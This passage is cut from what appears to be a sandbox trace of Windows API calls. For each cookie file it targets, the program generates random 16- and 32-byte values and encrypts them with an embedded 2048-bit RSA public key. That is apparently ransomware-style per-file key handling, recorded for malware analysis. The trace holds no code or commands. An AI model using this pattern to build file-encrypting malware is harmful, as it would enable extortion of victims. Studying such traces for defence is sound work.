lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.098] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.099] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.099] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.099] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.100] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.100] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.100] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.101] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.101] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.101] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.101] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.103] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609b40) returned 1 [0175.103] CryptGetKeyParam (in: hKey=0x3609b40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.103] CryptEncrypt (in: hKey=0x3609b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4440000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4440000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.103] GetLastError () returned 0x0 [0175.103] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.103] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.105] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609700) returned 1 [0175.105] CryptGetKeyParam (in: hKey=0x3609700, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.105] CryptEncrypt (in: hKey=0x3609700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4450000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4450000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.105] GetLastError () returned 0x0 [0175.105] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.105] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9M7ZHW1Q.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9m7zhw1q.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.105] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.106] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.107] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.107] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.107] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.107] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.108] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.109] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.109] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.109] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.109] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.111] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609b80) returned 1 [0175.111] CryptGetKeyParam (in: hKey=0x3609b80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.111] CryptEncrypt (in: hKey=0x3609b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4460000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4460000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.111] GetLastError () returned 0x0 [0175.111] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.111] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.113] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609d00) returned 1 [0175.113] CryptGetKeyParam (in: hKey=0x3609d00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.113] CryptEncrypt (in: hKey=0x3609d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4470000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4470000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.113] GetLastError () returned 0x0 [0175.113] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.113] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9XACNSYG.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9xacnsyg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.113] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.114] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.114] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.114] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.115] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.115] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.115] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.116] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.116] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.116] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.118] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609840) returned 1 [0175.118] CryptGetKeyParam (in: hKey=0x3609840, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.118] CryptEncrypt (in: hKey=0x3609840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4480000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4480000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.118] GetLastError () returned 0x0 [0175.118] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.118] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.120] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609880) returned 1 [0175.120] CryptGetKeyParam (in: hKey=0x3609880, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.120] CryptEncrypt (in: hKey=0x3609880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4490000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4490000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.120] GetLastError () returned 0x0 [0175.120] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.120] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9Z1Y5ICI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9z1y5ici.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.120] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.122] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.122] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.122] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.122] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.123] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.123] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.123] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.123] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.125] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609580) returned 1 [0175.126] CryptGetKeyParam (in: hKey=0x3609580, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.126] CryptEncrypt (in: hKey=0x3609580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x44a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x44a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.126] GetLastError () returned 0x0 [0175.126] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.126] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.128] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36095c0) returned 1 [0175.128] CryptGetKeyParam (in: hKey=0x36095c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.128] CryptEncrypt (in: hKey=0x36095c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x44b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x44b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.128] GetLastError () returned 0x0 [0175.128] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.128] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\A0RK8A2H.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\a0rk8a2h.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.128] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.130] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.130] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.130] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.130] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.130] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.131] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.131] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.131] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.131] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.133] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609600) returned 1 [0175.133] CryptGetKeyParam (in: hKey=0x3609600, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.133] CryptEncrypt (in: hKey=0x3609600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x44c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x44c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.133] GetLastError () returned 0x0 [0175.133] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.133] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.135] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609640) returned 1 [0175.135] CryptGetKeyParam (in: hKey=0x3609640, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.135] CryptEncrypt (in: hKey=0x3609640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x44d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x44d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.135] GetLastError () returned 0x0 [0175.135] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.136] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\AA2IJ7JU.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\aa2ij7ju.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.136] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.137] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.137] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.137] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.137] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.139] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.139] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.139] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.139] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.141] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609680) returned 1 [0175.141] CryptGetKeyParam (in: hKey=0x3609680, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.141] CryptEncrypt (in: hKey=0x3609680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x44e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x44e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.141] GetLastError () returned 0x0 [0175.141] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.141] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.143] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609d40) returned 1 [0175.143] CryptGetKeyParam (in: hKey=0x3609d40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.143] CryptEncrypt (in: hKey=0x3609d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x44f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x44f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.143] GetLastError () returned 0x0 [0175.143] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.143] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\B427TFXJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\b427tfxj.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.143] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.144] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.145] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.145] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.145] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.145] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.146] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.146] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.146] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.146] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.148] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a380) returned 1 [0175.148] CryptGetKeyParam (in: hKey=0x360a380, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.148] CryptEncrypt (in: hKey=0x360a380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4500000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4500000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.149] GetLastError () returned 0x0 [0175.149] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.149] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.150] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a280) returned 1 [0175.150] CryptGetKeyParam (in: hKey=0x360a280, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.150] CryptEncrypt (in: hKey=0x360a280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4510000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4510000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.151] GetLastError () returned 0x0 [0175.151] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.151] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\BK4HNAZ1.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\bk4hnaz1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.151] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.152] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.152] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.152] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.152] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.152] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.153] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.154] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.154] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, 